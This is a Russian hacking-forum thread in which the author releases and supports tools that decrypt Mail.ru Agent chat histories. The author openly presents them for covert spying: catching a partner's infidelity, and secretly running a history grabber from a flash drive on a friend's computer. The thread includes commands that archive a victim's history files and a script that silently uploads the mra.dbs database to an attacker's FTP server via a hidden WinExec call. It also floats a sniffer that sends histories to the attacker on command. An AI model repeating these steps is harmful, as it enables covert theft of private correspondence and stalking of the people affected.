PDA

Просмотр полной версии : Mail.ru History Reader


Gar|k
01.04.2009, 17:10
Перед использованием ознакомься со статьей 138 УК РФ

Программа: Mail.ru History Reader 2.3 RC
Особенности: Благодаря наводке великого SOLON7 была выявлена зависимость и формат хранения даты сообщения!
Описание: После волшебного пенделя, мной была полностью переписана программа теперь она весит 3 072 байта :D и выдергивает лишь сообщения. Тестирования проводились на dbs 5.6 версии агента (да и старые он тоже похоже нормально кушает).

Параметры запуска тоже поменялись:
magent-hr2.3 file.dbs outfile.txt

>>> [КАЧАЕМ] (http://zona-chat.narod.ru/mailread/magent-hr2.3RC.rar) <<<

Программа: Mail.ru History Reader 2.0
Особенности: теперь может читать истории агента версии >= 5.4 !!!
Описание:
Это как бы бетка. Потому что полностью разобраться с форматом файла мне не удалось :( я лишь нашел, за что можно зацепится и решил навоять программку.
В итоге из базы mra.dbs можно выдрать все емаилы с которыми переписывался человек и естественно почитать все сообщения (правда без дат и вперемешку, ибо я не разобрался).

В ближайшие дни опишу в своем бложике (http://c0dedgarik.blogspot.com/) алгоритмы и все что мне удалось откопать в волшебном файле mra.dbs

З.Ы: если открыта программа Mail Agent файл mra.dbs НЕДОСТУПЕН!

>>> [КАЧАЕМ] (http://zona-chat.narod.ru/mailread/mail_read_2.0.rar) <<<

> Инструкция пользователя 1.2 (http://forum.antichat.ru/showpost.php?p=1254937&postcount=12), дополнение 2,0 (http://forum.antichat.ru/showpost.php?p=1783567&postcount=29)

[ОПИСАНИЕ ФОРМАТА ИСТОРИИ < 5.4] (http://zona-chat.narod.ru/mailread/mail_history.htm)


Программа: Mail.ru History Reader 1.2 final
Особенности: Программа лишина багов и лиха работает с памятью ибо копирует она туда сюда только 36 байт (можно было и 8, но лень)! остальное анализирует и переваривает сразу в файл.
Описание:
Консольная версия с подробным выводом отчета о действиях. Читает все что только у меня было.
В планах: Написание оконого интерфейса - оболочки
Бонус: В архиве лежит исходник... мой кратив воспаленного мозга (щас у нас 5:53)

>>> [КАЧАЕМ] (http://zona-chat.narod.ru/mailread/mail_read_1.2.rar) <<<


> воровалка историй (http://forum.antichat.ru/showpost.php?p=1254633&postcount=10)

--------------------------------------------------

Программа: Mail.ru History Reader 1.1
Особенности: Консольная версия! НЕ ВЫЛЕТАЕT
Возможные баги: общий буффер под сообщение равен 5 МБ ... поэтому возможно переполнение. Нет терпения разбираться с RTF поэтому собственный парсер не обрабатывает сообщения, начинающиеся со знаков препинания (ну лень мне, потом доделаю...). Может че упустил при работе с памятью - будут баги пишите!

Описание:
Запускайте программу под CMD и глядите, что она возвращает
USAGE: histread.exe [HISTORY] [OUT-FILE]

Пользуйтесь, жду отзывов и людей, кто захочет развить версию (поделюсь исходником)

>> Скачать (http://zona-chat.narod.ru/mailread/mail_read_1.1.rar)

---------------------------------------------------------------------

Программа: Mail.ru History Reader 1.0
Язык: Cи + winAPI // Visual Studio 2008
Размер: 75 КБ (ибо статическая линковка)
Особенности: Анализирует папку Mra и подкаталоги, красиво формируя отчет (была идея сделать сортировку, но влом).
Конечно же, можно открывать файлы и по отдельности.
Описание:
Как понятно из названия программа читает файлы истории маил агента (до версии 5.4 новой - говорят, переделали там шифрование, еще не смотрел), которые легко слить с компа выполнив 2 команды:
cd C:\Documents and Settings\user\Application Data\Mra\
X:\path_winrar\rar.exe a -o+ -ep -r X:\zlo\mailhist.rar *history.txt
Версия очень сырая... но помогла некоторым моим знакомым выявить измену ;)

http://zona-chat.narod.ru/mailread/mailread.gif

>> Скачать (http://zona-chat.narod.ru/mailread/mail_read.rar)

Fepsis
01.04.2009, 17:22
У меня вылетает..(( агент 5.3

Gar|k
01.04.2009, 17:29
Попробуй маленькие истории открыть должно работать. В консольной версии никаких проблем не было, тут ошибки из-за этого интерфейса т.к я тут замахнулся на собственную прорисовку ListBox => глюки...

Если нужно я могу выложить исходники или же объяснить как шифрует агент.
Консольную версию я делал лишь для тестирования алгоритма разбора файла, но могу и ее доработать если комуто эта программа ваще нужна :)

Gar|k
07.04.2009, 21:36
Нет возможности работать тестером... я проверил консольную версию на самом большом файле что у мя был истории... но он был версии старше 1 (пошли от версии 5 UNICODE)

_Psi_
08.04.2009, 13:05
Выложите пожалуйста исходники.

Gar|k
08.04.2009, 14:00
Спешал фор _Psi_
http://zona-chat.narod.ru/mailread/histread.cpp
http://zona-chat.narod.ru/mailread/stdafx.h

Отладочная инфа закоменчена...
структура head_pack2 отражает заголовок описаный мной в доке.

функция rtf2char замах на конвертор из rtf в текст...

в общем можно лучше и нужно лучше ) ... на асме чтоль переписать :)

Gar|k
11.04.2009, 03:57
внимание обновление все смотрим вверх

agentspy
11.04.2009, 08:51
"внимание обновление все смотрим вверх"

Обновление это под версию 5,4 будет работать или только под 5,3 как в шапке написано?

Gar|k
11.04.2009, 11:28
o_O походу до версии 5,3 ибо в 5,4 он начинает юзать
вот это C:\Documents and Settings\user\Application Data\Mra\Base\mra.dbs

щас смотрю формат файла... шифрования не видать зато сделано как то замудрено типа значений и ключиков всяких... да все там теперь. Механизм терь совсем другой хранения надо разбиратся, но удобно все типа базы...

разбиратся чет не тянет

Gar|k
02.05.2009, 15:44
Чето оболочку мне лень делать :) если кому надо могу просто подробную инструкцию написать, как использовать пошагово.

Вот выкладываю утилку которая незаметно тырит истории. Вам остается только скопировать ее себе на флешку придти в гости вставить флеху и незаметно пускануть этот файлик :)

> [СКАЧАТЬ] < архив утилка + rar.exe (http://zona-chat.narod.ru/mailread/mail_grab.rar)

иходник (win32 project empty VS2008) (http://zona-chat.narod.ru/mailread/mail_grab.cpp)

/Boom\
02.05.2009, 18:49
Mail.ru History Reader 1.2 final выложите в откомпилированном виде

Gar|k
02.05.2009, 19:33
он как бе выложен... это бонус исходник, а так там в архиве лежит conv.exe это и есть программа...

Как пользоватся рассказываю.
Делаем на диске C папочку test ложим туда из архива conv.exe
копируем в ту-же папочку файлы истории вида lol@mail.ruhistory.txt (которые можно собрать программкой, которую я выкладывал выше)
Пуск -> Выполнить ( win+R ), пишем cmd -- откроется консоль
пишем туда cd C:\test -- перейдете в папку test
пишем conv.exe
:: [ agent@Mail.ru History Reader ] v1.2 :: by Gar|k

USAGE: conv.exe [HISTORY] [OUT-FILE]

HISTORY file Mail.ru agent history. exp: vasya-pupkin@mail.ruhistory.txt
OUT-FILE output file

ну теперь все ясно!
пишем conv.exe lol@mail.ruhistory.txt lol@mail.ru.txt -- появится файлик lol@mail.ru.txt в котором будет уже расшифрованая история

logroid
06.05.2009, 01:01
Напишите кто нить пожалуйста прогу что бы читать файлы примерно такого вида: 3223422history.txt из аськи встроенной в мэйл.ру агент...
mail_read.exe в принципе открывает эти файлы, вот только при прокрутке истории вылетает с ошибкой...
conv.exe тоже открывает если немного пошаманствовать, вот только показывает только отправленный текст...

Gar|k
06.05.2009, 16:19
2 logroid: какая версия агента? выкладывай файлики. лично я не пользовался никогда аськой там, поэтому незнаю. А вообще исходники для примера есть (мой код) формат файлов я описал проблем вообще не должно возникнуть... дерзайте.

priest_2008
26.05.2009, 08:58
2 Gar|k
есть мысли по .mbs в новых версиях агента?

Gar|k
26.05.2009, 16:09
нету... я так поверхностно смотрел все осталось по прежнему только теперь структурировано как-то... а принципов текстовых бд я никогда не знал ) возможно это уже существующий формат базы, а может и их выдумка. В любом случае разобраться всегда можно, но я не брался за это.

ttt0z
21.06.2009, 03:16
Gar|k, отличный утилит, будет обновление, что бы читал новую версию???

mrTUZ
21.06.2009, 05:02
За работу +. Сейчас будем тестить.

Gar|k
21.06.2009, 12:06
2 ttt0z может быть... щас сессия, нет времени. да и мативации особой нету, хотя вот народ просит...

ttt0z
26.08.2009, 14:46
McAfee-GW-Edition 6.8.5 2009.08.26 Heuristic.BehavesLike.Win32.Downloader.H
пишет про файл mail_read_1.1.rar

Gar|k
26.08.2009, 22:03
качай 1.2 она круче чем-то уже не помню чем. если не веришь мне компиль из исходников.

agentspy
29.08.2009, 07:52
пля эти майловцы m-agenta штампуют чуть не каждую неделю новый build выходит.. под них переделывать каждый раз.нах надо !! я так с версией 1,0 и сижу, просто накатываю на 5,5 версию 5.3 и читаю...читаю...читаю.): :D

Grawl
06.09.2009, 16:43
ТС Спасибо за позновательную статейку

Gar|k
12.09.2009, 19:57
Щас появилось желание сесть разбиратся с mra.dbs
попробуйте открыть его любмым тектовым редактором в кодировке unicode и вы увидете много интересного

пока закономерности такие... 56 байт заголовок а далее в unicode
ник 00 00 сообщение 00 00 rtf FF FF FF

из этих 56 байтов мне ясно только одно что по 28 (вроде) смещению от их начала лежит 07 00 00 00 которой означает как мы знаем тип - сообщение.

выше мне встречалась такая интересная строка как

mrahistory_gar.i.k@mail.ru_13gr6kk0j1@inbox.ru
m_Time m_dwType m_bDirection m_bUnread m_sFrom m_sSimple m_Message m_Message[]

но связать ее с этими байтиками не получается (
чем дольше сижу смотрю на это тем больше запутываюсь.

Gar|k
30.09.2009, 03:11
ап. Новую версию выложил. Дождались теперь и 5.5 читает )

worm0k
25.12.2009, 19:41
Invalid File Handle. GetLastError reports 2.
Вот такая штука появляется =(
Помогите плз... с меня +

Gar|k
25.12.2009, 20:17
o_O мда объяснил конечно ситуацию хорошо.
ну Invalid File Handle - ошибка открытия файла... где появляется? когда появляется? что ты делаешь? )

worm0k
26.12.2009, 22:42
Запускаю. Вижу, что путь указан правильно:C:\Documents and Settings\1\Application Data\Mra\. Нажимаю Ок. Вылезает окно с этим сообщением.
Пробовал открывать файлы по отдельности... открывается окно, но в нем пусто.

Gar|k
26.12.2009, 23:05
последнии версии консольные... в общем нужно указывать не путь а сам файл mra.dbs он у тебя лежит в C:\Documents and Settings\1\Application Data\Mra\Base\mra.dbs. в пути есть пробелы значит надо заключить в кавычки его тобишь

> magent-hr m lol.txt "C:\Documents and Settings\1\Application Data\Mra\Base\mra.dbs"

з.ы: какой кошмар что люди не знаю то такое терминал :( хоть гуевую версию пиши пипец

worm0k
26.12.2009, 23:54
хм.. все ок.. только размер выходного файла 0 =\

n1ghtstalker
27.12.2009, 00:09
последнии версии консольные... в общем нужно указывать не путь а сам файл mra.dbs он у тебя лежит в C:\Documents and Settings\1\Application Data\Mra\Base\mra.dbs. в пути есть пробелы значит надо заключить в кавычки его тобишь

> magent-hr m lol.txt "C:\Documents and Settings\1\Application Data\Mra\Base\mra.dbs"

з.ы: какой кошмар что люди не знаю то такое терминал :( хоть гуевую версию пиши пипец

вот тебе и тру тестеры ) не бывает идеальных прог ) всегда есть руки которые клацнут что то не так как ты думал ) объективное мнение всегда необходимо

Nightmarе
28.12.2009, 20:42
Молоток, очень респектная вещь.
Единственное, можно ли сделать нормальную фильтровку сообщений как нибудь? А то с параметром m все сообщения без разбору пишутся в один файл, и логически что то составить кто и с кем общяется нельзя ;(

Gar|k
28.12.2009, 23:21
Nightmarе там файл этот mra.dbs какая-то встраиваемая бд. Так как мне было лень искать по инету все базы и сравнивать их формат я втыкался в HEX и искал зависимости. Но я не думаю что там их собственная база так что можно поискать в опенсурс проектах )

.Life
29.12.2009, 21:44
норм вещь, только много багов...

dasm
14.02.2010, 15:58
Отличная вешь

dasm
18.02.2010, 09:45
Gar|k не мог бы ты выложить исходники последние, хочу дописать архивирование и отправку на почту, либо на фтп. если не можешь выложить исходники, то можешь сам дописать и выложить прогу?

Gar|k
18.02.2010, 14:11
dasm я же выкладывал тут (http://c0dedgarik.blogspot.com/2009/10/mailru-history-reader-20.html)

Если ты следишь в реальном времени проще написать сниффер. А чисто кражу файлов истории я писал же (https://forum.antichat.ru/showpost.php?p=1254633&postcount=10)

Кстати если снифак писать прикинь прикол - шлешь челу у которого он стоит по агенту например - !пришли мне историю ))) и тебе на ftp кидается свежий архив )))

B1t.exe
20.02.2010, 01:09
так и не понял..
какую версию надо скачать, чтоб читать базу из 5.5 версии?

Gar|k
20.02.2010, 17:14
B1t.exe O_O помолчу... 2.0 версию качай

dasm
20.02.2010, 23:53
Кстати если снифак писать прикинь прикол - шлешь челу у которого он стоит по агенту например - !пришли мне историю ))) и тебе на ftp кидается свежий архив )))
XD мдаааа....
СПС за ответ. Сори, что не прочитал нормально... удачи в новых разработках

B1t.exe
21.02.2010, 02:18
пробовал, все таки спасибо автору, но просил бы немного оптимизировать.. особо с датами вообше ничего.. :(
и такое ошушение, что сообшение послучайности ставятся..

Автар, если есть время - работай над этим, пожалуйста. нужная вешь ! "на улице" уже 5,6 версия, а мы 5.5 трудняемся читать :)))))))))))
P.S. кто сможет - помогите по этому вопросу? исходники вроде выложил.

detkabeach
04.03.2010, 19:09
скачал я програмку Mail.ru History Reader , очень нужна она, как запустить разобрался, а вот как пользоваться ей разобраться не могу :mad: :mad: Напишите пожайлуста как ей поьзоваться , если можно в подробностях. Буду весьма благодарен за помощь !!!

Gar|k
04.03.2010, 22:59
detkabeach специально для тебя обновил первый пост - ищи там ссылки - инструкция пользователя...

WyBie
05.03.2010, 19:03
Gar|k
можешь подсказать что в код добавить
чтобы посылало на ftp??
только если не будит трудно на пишу что каждая строка отправляет
для delphi

Gar|k
06.03.2010, 22:42
WyBie не особо тебя понял... самый простой вариант...
программно делаешь такой текстовик С:\temp_ftp.ololo

open ftp.site
you_login
you_pass
put "%AppData%\Mra\Base\mra.dbs"
disconnect
quit

Путь до файла mra.dbs тоже генерь лучше программно (вот чтоб не мучался есть такая системная функция ExpandEnvironmentStrings (http://msdn.microsoft.com/en-us/library/ms724265(VS.85).aspx) )

вот далее выполняешь что-то типа
WinExec('ftp -s:С:\temp_ftp.ololo', SW_HIDE);

и файлик улетел тебе на ftp ) а там хочешь расшифровывай его хочешь не расшифровывай )

WyBie
07.03.2010, 13:19
Спасибо что выложил такую программку
Понимаешь я совсем недавно начала так вот
1 вопрос заключается в том, что у меня есть программа она достает кое какие данные
и их надо отправить на ftp и mail а я незнаю как
данные лежат в программе тексте Memo1 программа написанна на delphi
плиз если знаешь то отпиши

Gar|k
07.03.2010, 17:23
WyBie я не знаю и не люблю Delphi и ты пишешь оффтоп... гугли таких программ куча
site:forum.antichat.ru статьи delphi ftp
первая ссылка - http://forum.antichat.ru/showpost.php?p=699686&postcount=7

xwatk
14.03.2010, 00:10
выдает пустое файло (версия 5.4).

путь правильный в кавычках, еще пробовал mra.dbs переносить в каталог с magent-hr.exe. такое впечатление что команде magent-hr m mail.txt mra.dbs похеру на "mra.dbs", я пробовал писать даже так специально неправильно
magent-hr m mail.txt mmaaasda.dbs - меня спрашивало создать ли новый файл или нет и создавала пустое файло. в чем может быть проблема?

размер исходника 704 кб, данные там точно должны быть.
в чем может быть проблема? как на твоем блоге (2Gar|k) так и тут есть юзеры с похожей проблемой (пустой файл на выходе)

Gar|k
14.03.2010, 12:19
xwatk там реально может и не быть переписки даже если размер большой файла
в крайнем случае пришли мне файл свой (закачай в куданить в нете и дай линк в личку), но у меня реально не времени нет не желания разбираться, потому что в большинстве случаев кто-то что-то не так делает...

Gar|k
18.03.2010, 05:19
up ) обновилась программа
версия 2.3 теперь распознает дату сообщения и читает истории агента версии 5.6

dasm
18.03.2010, 06:46
Gar|k, не мог бы ты глянуть на то что залил... у тебя в архиве только ридми... или я где то ступил?

Gar|k
18.03.2010, 19:43
Упс 6 утра дает своё :) перезалил

Life7
19.03.2010, 18:00
ТС Спасибо за позновательную статейку

Татка
28.04.2010, 14:29
Все нервы ушли на запуск magent-hr 2.3RC. после сmd сразу пишет начальный путь С:\Documents and Settings\Admin> и все дальше папку Application Data и дальнейшее расположение файла вообще никак не воспринимает, про какие то кавычки писали, где их ставить так и не поняла, саму программу запускала но сразу вылазиет сообщение от Visual Studio, его закрываешь прога тоже вырубается...короче кошмар..может Вы хоть какие нибудь скриншоты пошаговые выложите, пожалуйста

dasm
03.05.2010, 13:08
А исходники последней версии будут?